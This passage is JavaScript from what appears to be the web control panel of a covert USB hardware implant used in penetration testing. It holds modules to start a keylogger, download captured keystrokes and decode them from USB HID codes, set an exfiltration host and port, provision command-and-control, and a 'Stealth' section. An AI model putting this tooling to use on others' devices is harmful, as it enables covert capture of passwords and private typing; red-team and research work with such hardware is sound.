`${ceBuildPayload(selected)}`;\n\t\t\t}\n\t\t\treturn payloadIntermediate;\n\t\t}\n\t\t\n\t\t// Keylog Module\n\t\tconst ELEMENT_IDS = {\n\t\t\tKEYLOGGER_SPACE_USED: 'keylogger-SpaceUsed',\n\t\t\tKEYLOGGER_SPACE_FREE: 'keylogger-SpaceFree',\n\t\t\tKEYLOGGER_DATA_WAITING: 'keylogger-DataWaiting',\n\t\t\tKEYLOGGER_DATA_LOST: 'keylogger-DataLost',\n\t\t\tKEYLOGGER_STATUS: 'keylogger-Status',\n\t\t\tKEYLOGGER_CAPTURE_MODE: 'keylogger-CaptureMode',\n\t\t\tKEYLOGGER_LAST_REPORT_ID: 'keylogger-LastReportID',\n\t\t\tKEYLOGGER_NEXT_REPORT_ID: 'keylogger-NextReportID',\n\t\t\tKEYLOGGER_USB_PKTS: 'keylogger-USBPkts',\n\t\t\tKEYLOGGER_USB_LOST: 'keylogger-USBLost',\n\t\t\tKEYLOGGER_USB_HOLDS: 'keylogger-USBHolds',\n\t\t\tKEYLOGGER_USB_BURSTS: 'keylogger-USBBursts',\n\t\t\tFOOTER_NAV_KEYLOG_STATUS: 'footerNavKeylogStatus',\n\t\t\tKEYLOG_START_BUTTON: 'keylogStartButton',\n\t\t\tTOGGLE_KEYLOGGING_MODE: 'toggle-keyloggingMode',\n\t\t\tKEYLOG_STORAGE_USED_BAR: 'keylogStorageUsedBar',\n\t\t\tKEYLOG_STORAGE_PERCENT: 'keylogStoragePercent',\n\t\t\tKEYLOGGER_LIVE_LOG_STATUS: 'keylogger-LiveLogStatus',\n\t\t\tFOOTER_NAV_KEYLOG_LIVE_STATUS: 'footerNavKeylogLiveStatus',\n\t\t\tRESPONSE_CL_STOP: 'response-CLStop',\n\t\t\tRESPONSE_CL_READ: 'response-CLRead',\n\t\t\tRESPONSE_CL_START: 'response-CLStart',\n\t\t};\n\t\t\n\t\tpreviousData = '';\n\t\tlet elements = {};\n\t\t\n\t\tfor (const key in ELEMENT_IDS) {\n\t\t\telements[key] = document.getElementById(ELEMENT_IDS[key]);\n\t\t}\n\t\t\n\t\tfunction convertUint8ArrayToString(data) {\n\t\t\treturn String.fromCharCode.apply(null, new Uint8Array(data));\n\t\t}\n\t\t\n\t\tfunction splitResponseIntoParameters(response) {\n\t\t\treturn response.split(\"\\t\");\n\t\t}\n\t\t\n\t\tfunction setElementValue(id, value) {\n\t\t\tif (elements[id]) {\n\t\t\t\tif (elements[id].tagName.toLowerCase() === 'input') {\n\t\t\t\t\telements[id].value = value;\n\t\t\t\t} else {\n\t\t\t\t\telements[id].innerHTML = value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction updateKeylogStatus(keylogValues) {\n\t\t\tconst spaceUsedDecimal = parseInt(keylogValues[ELEMENT_IDS.KEYLOGGER_SPACE_USED], 16);\n\t\t\tconst spaceFreeDecimal = parseInt(keylogValues[ELEMENT_IDS.KEYLOGGER_SPACE_FREE], 16);\n\t\t\tlet keylogStoragePercent = ((spaceUsedDecimal / spaceFreeDecimal) * 100).toFixed(0) + '%';\n\t\t\tif (keylogStoragePercent == \"0%\") {\n\t\t\t\tkeylogStoragePercent = \"0.2%\";\n\t\t\t}\n\t\t\tdocument.getElementById('keylogStorageUsedBar').style.width = keylogStoragePercent;\n\t\t\tdocument.getElementById('keylogStoragePercent').innerHTML = keylogStoragePercent;\n\t\t}\n\t\t\n\t\tlet prevDataCLStatus = null;\n\t\tfunction apiResponseCLStatus(data) {\n\t\t\tif (data === prevDataCLStatus) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tprevDataCLStatus = data;\n\t\t\n\t\t\tlet splitData = data.split('\\t');\n\t\t\tlet listName = splitData[0];\n\t\t\tlet jsonData = splitData[1];\n\t\t\tlet jsonObject = JSON.parse(jsonData);\n\t\t\tlet keylogValues = {};\n\t\t\t\n\t\t\tfor (let key in jsonObject) {\n\t\t\t\tif (key === \"status\") {\n\t\t\t\t\tkeylogValues['keylogger-Status'] = jsonObject[key];\n\t\t\t\t}\n\t\t\t\tif (key === \"mode\") {\n\t\t\t\t\tkeylogValues['keylogger-CaptureMode'] = jsonObject[key];\n\t\t\t\t}\n\t\t\t\tif (key === \"file\") {\n\t\t\t\t\tlet fileObject = jsonObject[key];\n\t\t\t\t\tfor (let fileKey in fileObject) {\n\t\t\t\t\t\tif (fileKey === \"used\") {\n\t\t\t\t\t\t\tkeylogValues['keylogger-SpaceUsed'] = fileObject[fileKey];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (fileKey === \"free\") {\n\t\t\t\t\t\t\tkeylogValues['keylogger-SpaceFree'] = fileObject[fileKey];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (fileKey === \"waiting\") {\n\t\t\t\t\t\t\tkeylogValues['keylogger-DataWaiting'] = fileObject[fileKey];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (fileKey === \"lost\") {\n\t\t\t\t\t\t\tkeylogValues['keylogger-DataLost'] = fileObject[fileKey];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (fileKey === \"lastid\") {\n\t\t\t\t\t\t\tkeylogValues['keylogger-LastReportID'] = fileObject[fileKey];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (fileKey === \"nextid\") {\n\t\t\t\t\t\t\tkeylogValues['keylogger-NextReportID'] = fileObject[fileKey];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (key === \"usb\") {\n\t\t\t\t\tlet usbObject = jsonObject[key];\n\t\t\t\t\tfor (let usbKey in usbObject) {\n\t\t\t\t\t\tif (usbKey === \"pkts\") {\n\t\t\t\t\t\t\tkeylogValues['keylogger-USBPkts'] = usbObject[usbKey];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (usbKey === \"lost\") {\n\t\t\t\t\t\t\tkeylogValues['keylogger-USBLost'] = usbObject[usbKey];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (usbKey === \"holds\") {\n\t\t\t\t\t\t\tkeylogValues['keylogger-USBHolds'] = usbObject[usbKey];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (usbKey === \"bursts\") {\n\t\t\t\t\t\t\tkeylogValues['keylogger-USBBursts'] = usbObject[usbKey];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tfor (const [elementId, value] of Object.entries(keylogValues)) {\n\t\t\t\tconst element = document.getElementById(elementId);\n\t\t\t\tif (element) element.value = element.innerHTML = value;\n\t\t\t}\n\t\t\n\t\t\tconst spaceUsedDecimal = parseInt(keylogValues['keylogger-SpaceUsed'], 16);\n\t\t\tconst spaceFreeDecimal = parseInt(keylogValues['keylogger-SpaceFree'], 16);\n\t\t\tconst keylogStoragePercent = ((spaceUsedDecimal / spaceFreeDecimal) * 100).toFixed(0) + '%';\n\t\t\ttoggleClassBasedOnStatus('keylogStatusLight', 'statusLightActive', keylogValues['keylogger-Status'], \"01\");\n\t\t\tdocument.getElementById('keylogStorageUsedBar').style.width = keylogStoragePercent;\n\t\t\tdocument.getElementById('keylogStoragePercent').innerHTML = keylogStoragePercent;\n\t\t\n\t\t\tlogMessage('CRIT', `apiResponseCLStatus: [status]:[${keylogValues['keylogger-Status']}] [captureMode]:[${keylogValues['keylogger-CaptureMode']}] [spaceUsed]:[${keylogValues['keylogger-SpaceUsed']}] [spaceFree]:[${keylogValues['keylogger-SpaceFree']}] [dataWaiting]:[${keylogValues['keylogger-DataWaiting']}] [dataLost]:[${keylogValues['keylogger-DataLost']}] [lastReportID]:[${keylogValues['keylogger-LastReportID']}] [nextReportID]:[${keylogValues['keylogger-NextReportID']}] [usbPkts]:[${keylogValues['keylogger-USBPkts']}] [usbLost]:[${keylogValues['keylogger-USBLost']}] [usbHolds]:[${keylogValues['keylogger-USBHolds']}] [usbBursts]:[${keylogValues['keylogger-USBBursts']}]`);\n\t\t\n\t\t\tupdateKeylogStatus(keylogValues);\n\t\t}\n\t\t\n\t\tfunction apiResponseCLStop(data) {\n\t\t\tsetElementValue(ELEMENT_IDS.RESPONSE_CL_STOP, 'buttonSelected');\n\t\t\tsendMessage(\"CLStatus\");\n\t\t}\n\t\t\n\t\tfunction apiResponseCLStart(data) {\n\t\t\tsetElementValue(ELEMENT_IDS.RESPONSE_CL_START, 'buttonSelected');\n\t\t\tsendMessage(\"CLStatus\");\n\t\t}\n\t\t\n\t\tfunction apiResponse(data) {\n\t\t\tlet response = convertUint8ArrayToString(data);\n\t\t\tlet parameters = splitResponseIntoParameters(response);\n\t\t\tlet cmd = parameters[0];\n\t\t\n\t\t\t// Check if the response contains 'CEError' anywhere in the string\n\t\t\tif (data.includes('CEError')) {\n\t\t\t\tlogMessage(`INFO`, `Payload Halted: CRC Validation Error, please retry.`);\n\t\t\t\tsetTimeout(() => {\n\t\t\t\t\tsendMessage(\"CE[19F6]2001011D0000300101\");\n\t\t\t\t}, 1000);\n\t\t\t}\n\t\t\n\t\t\tlogMessage(\n\t\t\t\tcmd.includes(\"Error\") ? `INFO` : `CRIT`,\n\t\t\t\t`apiResponse${cmd}: [data]:[${response}]`\n\t\t\t);\n\t\t\t\n\t\t\tsetElementValue(`response-${cmd}`, response);\n\t\t}\n\t\t\n\t\tfunction apiRequestCLRead(data, hex) {\n\t\t\tresponseTextParams = data.split(\"\\t\");\n\t\t\tlet clReadTemp = \"\";\n\t\t\tfor (let i = 0; i < responseTextParams[4].length; i++) {\n\t\t\t\tclReadTemp += responseTextParams[4].charCodeAt(i).toString(16).padStart(2, '0');\n\t\t\t}\n\t\t\tfor (let i = 0; i < clReadTemp.length; i += 4) {\n\t\t\t\tlet hex = clReadTemp.substr(i, 4);\n\t\t\t\tif (hex.length < 4) {\n\t\t\t\t\thex = hex.padEnd(4, '0');\n\t\t\t\t}\n\t\t\t\tlogMessage(`DEBUG`, `!!! CLReadSplitter: [hex]:[${hex}]`);\n\t\t\t\tif (responseTextParams[1] == \"K\") {\n\t\t\t\t\tkeylogDecoder(hex);\n\t\t\t\t} else if (responseTextParams[1] == \"H\") {\n\t\t\t\t\tdocument.getElementById(\"keylog\").append(`${hex}`);\n\t\t\t\t}\n\t\t\t}\n\t\t\tlogMessage(`CRIT`, `CLRead Handler: [${data}] [${responseTextParams[5]}] [${clReadTemp}]`)\n\t\t\tapiResponseCLRead(data);\n\t\t}\n\t\t\n\t\tfunction apiResponseCLRead(data) {\n\t\t\tlet parameter2 = \"\";\n\t\t\tfor (let i = 0; i < data.length; i++) {\n\t\t\t\tparameter2 += data.charCodeAt(i).toString(16);\n\t\t\t}\n\t\t\tlet response = String.fromCharCode.apply(null, new Uint8Array(data));\n\t\t\tlet output = document.getElementById('response-CLRead');\n\t\t\toutput.value = `${parameter2}`;\n\t\t\tlogMessage(`DEBUG`, `apiResponseCLRead: [data]:[${response}] [data]:[${parameter2}]`);\n\t\t}\n\t\t\n\t\tfunction keylogStartStop(mode) {\n\t\t\tconst footerNavKeylogStatus = document.getElementById('footerNavKeylogStatus');\n\t\t\n\t\t\tif (!mode) {\n\t\t\t\tmode = footerNavKeylogStatus.classList.contains('buttonSelected') ? 'off' : 'on';\n\t\t\t}\n\t\t\n\t\t\tif (keylogStatus == '1' || mode == 'off') {\n\t\t\t\tfooterNavKeylogStatus.classList.remove('buttonSelected');\n\t\t\t\tconst output = document.getElementById('keylogStartButton');\n\t\t\t\toutput.innerHTML = 'Start';\n\t\t\t\tsendMessage('CLStop');\n\t\t\t} else if (keylogStatus == '0' || mode == 'on') {\n\t\t\t\tfooterNavKeylogStatus.classList.add('buttonSelected');\n\t\t\t\tconst output = document.getElementById('keylogStartButton');\n\t\t\t\toutput.innerHTML = 'Stop';\n\t\t\t\tsendMessage('CLStart\\tk');\n\t\t\t}\n\t\t}\n\t\t\n\t\tlet intervalId = null;\n\t\t\n\t\tfunction liveLog(mode) {\n\t\t\tliveLogStatus = document.getElementById('keylogger-LiveLogStatus').value;\n\t\t\n\t\t\tif (!mode) {\n\t\t\t\tmode = liveLogStatus == 'on' ? 'off' : 'on';\n\t\t\t}\n\t\t\n\t\t\tconst output = document.getElementById('keylogger-LiveLogStatus');\n\t\t\tconst footerNavKeylogLiveStatus = document.getElementById('footerNavKeylogLiveStatus');\n\t\t\n\t\t\tif (mode == \"on\") {\n\t\t\t\toutput.value = 'on';\n\t\t\t\tfooterNavKeylogLiveStatus.classList.add('buttonSelected');\n\t\t\n\t\t\t\tintervalId = setInterval(function() {\n\t\t\t\t\tsendMessage('CLRead\\t300');\n\t\t\t\t}, 2000);\n\t\t\n\t\t\t} else if (mode == \"off\") {\n\t\t\t\toutput.value = 'off';\n\t\t\t\tfooterNavKeylogLiveStatus.classList.remove('buttonSelected');\n\t\t\n\t\t\t\tif (intervalId) {\n\t\t\t\t\tclearInterval(intervalId);\n\t\t\t\t\tintervalId = null;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction keylogToPayloadConverter() {\n\t\t\tconst keylogElement = document.getElementById(\"keylog\");\n\t\t\tconst payloadElement = document.getElementById(\"payload\");\n\t\t\tconst inputCache = keylogElement.value;\n\t\t\tlet keylog = keylogElement.value;\n\t\t\n\t\t\tconst regexes = [\n\t\t\t\t{ pattern: /\\[((LEFT|RIGHT)-(CTRL|ALT|GUI))\\](.)\\[\\/((LEFT|RIGHT)-(CTRL|ALT|GUI))\\]/g, replaceWith: '$3 $4\\r\\n' },\n\t\t\t\t{ pattern: /\\[((LEFT|RIGHT)-(SHIFT))\\](.)\\[\\/((LEFT|RIGHT)-(SHIFT))\\]/g, replaceWith: '$4' },\n\t\t\t\t{ pattern: /\\[(F[0-9]*|MEDIA*|KPAD*|INT*|LANG*|VOLUME*|AGAIN|ALTERASE|BACKSPACE|CANCEL|CAPSLOCK|CLEAR|COPILOT|COMPOSE|COPY|CRSEL|CUT|DELETE|DOWNARROW|END|ENTER|ESC|EXSEL|FIND|FRONT|HANGEUL|HANJA|HELP|HENKAN|HIRAGANA|HOME|INSERT|KATAKANA|KATAKANAHIRAGANA|KPAD_COMMA|KPAD_EQUAL|KPEQUAL|KPJPCOMMA|LEFTARROW|LOCKING_CAPSLOCK|LOCKING_NUMLOCK|LOCKING_SCROLLLOCK|MUHENKAN|MUTE|NUMLOCK|OPEN|OPER|OUT|PAGEDOWN|PAGEUP|PASTE|PAUSE|POWER|PRINTSCREEN|PRIOR|PROPS|RETURN|RIGHTARROW|RO|SCROLLLOCK|SEPARATOR|STOP|SYSREQ|TAB|UNDO|UPARROW|VOLUMEDOWN|VOLUMEUP|YEN|ZENKAKUHANKAKU)\\]/g, replaceWith: '\\r\\n$1\\r\\n' }\n\t\t\t];\n\t\t\n\t\t\tregexes.forEach(({ pattern, replaceWith }) => {\n\t\t\t\tkeylog = keylog.replace(pattern, replaceWith);\n\t\t\t});\n\t\t\n\t\t\tlogMessage('CRIT', `keylogToPayload: [input]:[${inputCache}] [keylog]:[${keylog}]`);\n\t\t\n\t\t\tpayloadElement.value = keylog;\n\t\t\tcontentAreaToggle('payload');\n\t\t}\n\t\t\n\t\tconst keylogDecoderCache = {};\n\t\tconst keylogDecoder = (() => {\n\t\t\tlet cache = {};\n\t\t\tconst memoizedFunction = (data) => {\n\t\t\t\tif (cache.hasOwnProperty(data)) {\n\t\t\t\t\tappendAndLogKey(cache[data], data);\n\t\t\t\t\treturn cache[data];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tconst mod = data.substr(0, 2);\n\t\t\t\tconst hid = data.substr(2, 2);\n\t\t\t\tif (hid === \"00\") {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\n\t\t\t\tconst binaryMod = parseInt(mod, 16);\n\t\t\t\tconst { layer, hasOtherModifiers } = determineLayer(binaryMod);\n\t\t\t\tconst modifierText = buildModifierText(mod);\n\t\t\t\tconst key = getKeyFromHID(hid, layer);\n\t\t\n\t\t\t\tif (key === \"NOKEY\") {\n\t\t\t\t\treturn; \n\t\t\t\t}\n\t\t\n\t\t\t\tlet finalKey = key;\n\t\t\t\tif (modifierText !== \"\" && hasOtherModifiers) {\n\t\t\t\t\tconsole.log(`I have other modifiers! [${mod}]:[${modifierText}]`);\n\t\t\t\t\tfinalKey = `[${modifierText}]${key}[/${modifierText}]`;\n\t\t\t\t}\n\t\t\t\tconst hidValue = parseInt(hid, 16);\n\t\t\t\tif (hidValue >= 0x28 && hidValue !== 0x2C) {\n\t\t\t\t\tif (finalKey && finalKey.length > 2) {\n\t\t\t\t\t\tfinalKey = `[${finalKey}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\n\t\t\t\tcache[data] = finalKey;\n\t\t\t\tappendAndLogKey(finalKey, data);\n\t\t\t\t\n\t\t\t\tmemoizedFunction.invalidateCache = () => {\n\t\t\t\t\tcache = {};\n\t\t\t\t};\n\t\t\n\t\t\t\treturn finalKey;\n\t\t\t};\n\t\t\n\t\t\tconst determineLayer = (binaryMod) => {\n\t\t\t\tconst hasShiftModifiers = (binaryMod & 0x02) !== 0 || (binaryMod & 0x20) !== 0;\n\t\t\t\tconst hasAltGrModifiers = (binaryMod & 0x40) !== 0 || (binaryMod & 0x04) !== 0;\n\t\t\t\tconst hasOtherModifiers = binaryMod & ~(0x02 | 0x20 | 0x40 | 0x04);\n\t\t\t\n\t\t\t\tlet layer = 0;\n\t\t\t\tif (hasAltGrModifiers && hasShiftModifiers) {\n\t\t\t\t\tlayer = 3;\n\t\t\t\t} else if (hasAltGrModifiers && !hasShiftModifiers) {\n\t\t\t\t\tlayer = 2;\n\t\t\t\t} else if (hasShiftModifiers) {\n\t\t\t\t\tlayer = 1;\n\t\t\t\t}\n\t\t\t\n\t\t\t\treturn { layer, hasOtherModifiers: !!hasOtherModifiers };\n\t\t\t};\n\t\t\n\t\t\tmemoizedFunction.invalidateCache = () => {\n\t\t\t\tcache = {};\n\t\t\t};\n\t\t\n\t\t\treturn memoizedFunction;\n\t\t})();\n\t\t\n\t\tfunction appendAndLogKey(finalKey, data) {\n\t\t\tif (finalKey) {\n\t\t\t\tdocument.getElementById(\"keylog\").append(finalKey);\n\t\t\t\tlogMessage('DEBUG', `keylogDecoder: [data]:[${data}] [finalKey]:[${finalKey}]`);\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction keylogOptionsMenu() {\n\t\t\ttoggleModule('keylogOptionsMenu');\n\t\t}\n\t\t\n\t\tvar responseHexData;\n\t\tfunction downloadKeylog(responseText, responseHex) {\n\t\t\tlet data = responseText.split(\"\\t\")\n\t\t\tlet keylogData = null;\n\t\t\tif (data == \"1\") {\n\t\t\t\tnext = \"1\";\n\t\t\t\tlogMessage(`CRIT`, `downloadKeylog Started`);\n\t\t\t} else if (!Array.isArray(data)){\n\t\t\t\tlogMessage(`CRIT`, `downloadKeylog Failed to Get valid Data`);\n\t\t\t} else {\n\t\t\t\tnext = data[3];\n\t\t\t\tlet hexParts = responseHex.split('09');\n\t\t\t\tif (hexParts.length > 4) {\n\t\t\t\t\tresponseHexData = hexParts.slice(4).join('09');\n\t\t\t\t}\n\t\t\t\tclReadTemp = responseHexData;\n\t\t\t\tfor (let i = 0; i < clReadTemp.length; i += 4) {\n\t\t\t\t\tlet hex = clReadTemp.substr(i, 4);\n\t\t\t\t\tlet rhex = clReadTemp.substr(i, 4);\n\t\t\t\t\tif (hex.length < 4) {\n\t\t\t\t\t\thex = hex.padEnd(4, '0');\n\t\t\t\t\t}\n\t\t\t\t\tlogMessage(`DEBUG`, `!!! CLReadSplitter: [hex]:[${hex}]`);\n\t\t\t\t\tif (responseTextParams[1] == \"K\") {\n\t\t\t\t\t\tlet ld = keylogDecoder(hex);\n\t\t\t\t\t} else if (responseTextParams[1] == \"H\") {\n\t\t\t\t\t\tdocument.getElementById(\"keylog\").append(`${hex}`);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tnext = padInput(next, \"6\");\n\t\t\tif (next == \"000001\") {\n\t\t\t\toutput = document.getElementById('keylog');\n\t\t\t\toutput.innerHTML = ``;\n\t\t\t}\n\t\t\tkeyloggerSpaceUsed = document.getElementById('keylogger-SpaceUsed').value;\n\t\t\tspaceUsed = keyloggerSpaceUsed;\n\t\t\tif (spaceUsed == \"10\") {\n\t\t\t\tlogMessage(`INFO`, `Keylog is Empty. [spaceUsed]:[${spaceUsed}] [readNext]:[${next}]`, `Keylog is Empty.`);\n\t\t\t} else if (spaceUsed == \"NaN\") {\n\t\t\t\tsetInterval(function() {\n\t\t\t\t\tdownloadKeylog(next);\n\t\t\t\t}, 1000);\n\t\t\t} else {\n\t\t\t\tif ((parseInt(spaceUsed) > parseInt(next)) && data[2] != \"0000\") {\n\t\t\t\t\tlogMessage(`CRIT`, `downloadKeylog: [spaceUsed]:[${spaceUsed}] [readNext]:[${next}]`);\n\t\t\t\t\tsendMessage(`[dKAll]CLRead\\t300\\t${String(next)}`);\n\t\t\t\t} else {\n\t\t\t\t\tlogMessage(`CRIT`, `downloadKeylog else: [spaceUsed]:[${spaceUsed}] [readNext]:[${next}]`);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t// HIDX Module\n\t\tfunction apiResponseCHStart(data) {\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\tlogMessage(`CRIT`, `CHStart: [data]:[${response}]`);\n\t\t\n\t\t\tif (CHStatus === 1) {\n\t\t\t\tdocument.getElementById(`hidxstatusfile`).classList.remove('active');\n\t\t\t\tdocument.getElementById(`hidxstatustcp`).classList.add('active');\n\t\t\t} else if (CHStatus === 2) {\n\t\t\t\tdocument.getElementById(`hidxstatusfile`).classList.add('active');\n\t\t\t\tdocument.getElementById(`hidxstatustcp`).classList.remove('active');\n\t\t\t} else {\n\t\t\t\tdocument.getElementById(`hidxstatusfile`).classList.remove('active');\n\t\t\t\tdocument.getElementById(`hidxstatustcp`).classList.remove('active');\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction apiResponseCHStatus(data) {\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\tlogMessage(`CRIT`, `CHStatus: [data]:[${response}]`);\n\t\t\n\t\t\tconst regex = /CH Mode: (\\d+)/;\n\t\t\tconst match = response.match(regex);\n\t\t\n\t\t\tlet CHStatus;\n\t\t\tif (match) {\n\t\t\t\tCHStatus = parseInt(match[1], 10);\n\t\t\t}\n\t\t\n\t\t\tif (CHStatus === 1) {\n\t\t\t\tdocument.getElementById(`hidxstatusfile`).classList.remove('active');\n\t\t\t\tdocument.getElementById(`hidxstatustcp`).classList.add('active');\n\t\t\t} else if (CHStatus === 2) {\n\t\t\t\tdocument.getElementById(`hidxstatusfile`).classList.add('active');\n\t\t\t\tdocument.getElementById(`hidxstatustcp`).classList.remove('active');\n\t\t\t} else {\n\t\t\t\tdocument.getElementById(`hidxstatusfile`).classList.remove('active');\n\t\t\t\tdocument.getElementById(`hidxstatustcp`).classList.remove('active');\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction updateHIDXSettings() {\n\t\t\tcmd = `CTSet\\thidxhost\\t${document.getElementById(\"hidxhost\").value}`;\n\t\t\tsendMessage(cmd);\n\t\t\tcmd = `CTSet\\thidxport\\t${document.getElementById(\"hidxport\").value}`;\n\t\t\tsendMessage(cmd);\n\t\t\tif (document.getElementById(`hidxboot`).classList.contains('active')) {\n\t\t\t\tcmd = `CTSet\\thidxboot\\t1`;\n\t\t\t} else {\n\t\t\t\tcmd = `CTSet\\thidxboot\\t0`;\n\t\t\t}\n\t\t\tsendMessage(cmd);\n\t\t}\n\t\t\n\t\t// C2 Module\n\t\tfunction updateC2Settings() {\n\t\t\tcmd = `C2Config\\t${document.getElementById(\"c2config\").value}`;\n\t\t\tsendMessage(cmd);\n\t\t}\n\t\t\n\t\tfunction apiResponseC2Config(data) {\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\n\t\t\tlogMessage(`CRIT`, `apiResponseC2Config: [data]:[${data}]`);\n\t\t\toutput = document.getElementById(`response-C2Config`);\n\t\t\toutput.value = data;\n\t\t\n\t\t\tdocument.getElementById(`c2configApplied`).innerHTML = parameters[1];\n\t\t\tsendMessage(`CTSet\\tc2boot\\t1`);\n\t\t}\n\t\t\n\t\tlet prevDataC2Info = null;\n\t\t\n\t\tfunction apiResponseC2Info(data) {\n\t\t\tif (data === prevDataC2Info) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tprevDataC2Info = data;\n\t\t\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\n\t\t\tlogMessage(`CRIT`, `apiResponseC2Info: [data]:[${data}]`);\n\t\t\toutput = document.getElementById(`response-C2Info`);\n\t\t\toutput.value = data;\n\t\t}\n\t\t\n\t\tlet prevDataC2Status = null;\n\t\t\n\t\tfunction apiResponseC2Status(data) {\n\t\t\tif (data === prevDataC2Status) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tprevDataC2Status = data;\n\t\t\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\n\t\t\tlogMessage(`CRIT`, `apiResponseC2Status: [data]:[${data}]`);\n\t\t\toutput = document.getElementById(`response-C2Status`);\n\t\t\toutput.value = data;\n\t\t\n\t\t\tif (parameters[1] == \"stopped\" || parameters[1] == \"noprov\") {\n\t\t\t\tdocument.getElementById(`c2status`).classList.remove(`active`);\n\t\t\t} else {\n\t\t\t\tdocument.getElementById(`c2status`).classList.add('active');\n\t\t\t}\n\t\t\tif (parameters[1] !== \"noprov\") {\n\t\t\t\tdocument.getElementById(`button-C2Wipe`).classList.remove(`hidden`);\n\t\t\t\tdocument.getElementById(`c2configApplied`).innerHTML = \"Provisioned: \" + parameters[1];\n\t\t\t} else {\n\t\t\t\tdocument.getElementById(`c2configApplied`).innerHTML = parameters[1];\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction apiResponseC2Wipe(data) {\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\n\t\t\tlogMessage(`CRIT`, `apiResponseC2Wipe: [data]:[${data}]`);\n\t\t\toutput = document.getElementById(`response-C2Wipe`);\n\t\t\toutput.value = data;\n\t\t}\n\t\t\n\t\t// Stealth Module\n\t\tfunction apiResponseCU(data) {\n\t\t\tconst { response, parameters } = parseData(data);\n\t\t\n\t\t\tfunction setElementValue(id, value) {\n\t\t\t\tconst element = document.getElementById(id);\n\t\t\t\tif (element) {\n\t\t\t\t\telement.value = value;\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\tlogMessage(`CRIT`, `apiResponseCU: [data]:[${response}]`);\n\t\t\tsetElementValue('response-CU', response);\n\t\t}\n\t\t\n\t\t// About Menu Module\n\t\tconst releaseTeam = [\n\t\t\t{ \"name\": \"Kalani\", \"twitter\": \"KalaniMakutu\", \"role\": \"Application\" },\n\t\t\t{ \"name\": \"MG\", \"twitter\": \"_MG_\", \"role\": \"Hardware\" },\n\t\t\t{ \"name\": \"Ø1\", \"twitter\": \"01p8or13\", \"role\": \"Tools & Testing\" },\n\t\t\t{ \"name\": \"r3dct3d\", \"twitter\": \"r3dct3d\", \"role\": \"Firmware\" },\n\t\t\t{ \"name\": \"RoganDawes\", \"twitter\": \"RoganDawes\", \"role\": \"Researcher @sensepost\" },\n\t\t\t{ \"name\": \"Wasabi\", \"twitter\": \"spiceywasabi\", \"role\": \"Tools & Infrastructure\" },\n\t\t];\n\t\t\n\t\tfunction generateReleaseTeam() {\n\t\t\tlogMessage(`DEBUG`, `generateReleaseTeam`);\n\t\t\tconst releaseTeamContainer = document.getElementById(\"releaseTeam\");\n\t\t\treleaseTeamContainer.innerHTML = \"\";\n\t\t\n\t\t\treleaseTeam.forEach((member) => {\n\t\t\t\tconst teamMemberElement = createTeamMemberElement(member);\n\t\t\t\treleaseTeamContainer.appendChild(teamMemberElement);\n\t\t\t});\n\t\t\n\t\t\tif (releaseTeam.length % 2 !== 0) {\n\t\t\t\tconst spacer = document.createElement('br');\n\t\t\t\tspacer.className = 'team-member-container';\n\t\t\t\treleaseTeamContainer.appendChild(spacer);\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction createTeamMemberElement(member) {\n\t\t\tconst container = document.createElement(\"div\");\n\t\t\tcontainer.className = \"team-member-container\";\n\t\t\n\t\t\tconst name = document.createElement(\"div\");\n\t\t\tname.className = \"about-team-name\";\n\t\t\tname.textContent = member.name;\n\t\t\tcontainer.appendChild(name);\n\t\t\n\t\t\tconst twitter = document.createElement(\"div\");\n\t\t\tconst twitterLink = document.createElement(\"a\");\n\t\t\ttwitter.className = \"about-twitter\";\n\t\t\ttwitterLink.setAttribute(\"href\", `https://twitter.com/${member.twitter}`);\n\t\t\ttwitterLink.textContent = \"@\" + member.twitter;\n\t\t\ttwitter.appendChild(twitterLink);\n\t\t\tcontainer.appendChild(twitter);\n\t\t\n\t\t\tconst role = document.createElement(\"div\");\n\t\t\trole.className = \"about-role\";\n\t\t\trole.textContent = member.role;\n\t\t\tcontainer.appendChild(role);\n\t\t\n\t\t\treturn container;\n\t\t}\n\t\t\n\t\tfunction createRegulatory() {\n\t\t\tcreateDialog({\n\t\t\t\tid: 'regulatory',\n\t\t\t\ttitle: 'Regulatory Info',\n\t\t\t\tdescription: `<h2 id=\"fccID\">${fccID}</h2>\n\t\t\t\t\t<p>This device complies with Part 15 of the FCC Rules. Operation is subject to the following two conditions: (1) this device may not cause harmful interference, and (2) this device must accept any interference received, including interference that may cause undesired operation. Warning (Part 15.21) Changes or modifications not expressly approved by the party responsible for compliance could void the user’s authority to operate the equipment.</p>\n\t\t\t\t\t<p>RF Exposure (OET Bulletin 65) To comply with FCC RF exposure requirements for mobile transmitting devices, this transmitter should only be used or installed at locations where there is at least 20cm separation distance between the antenna and all 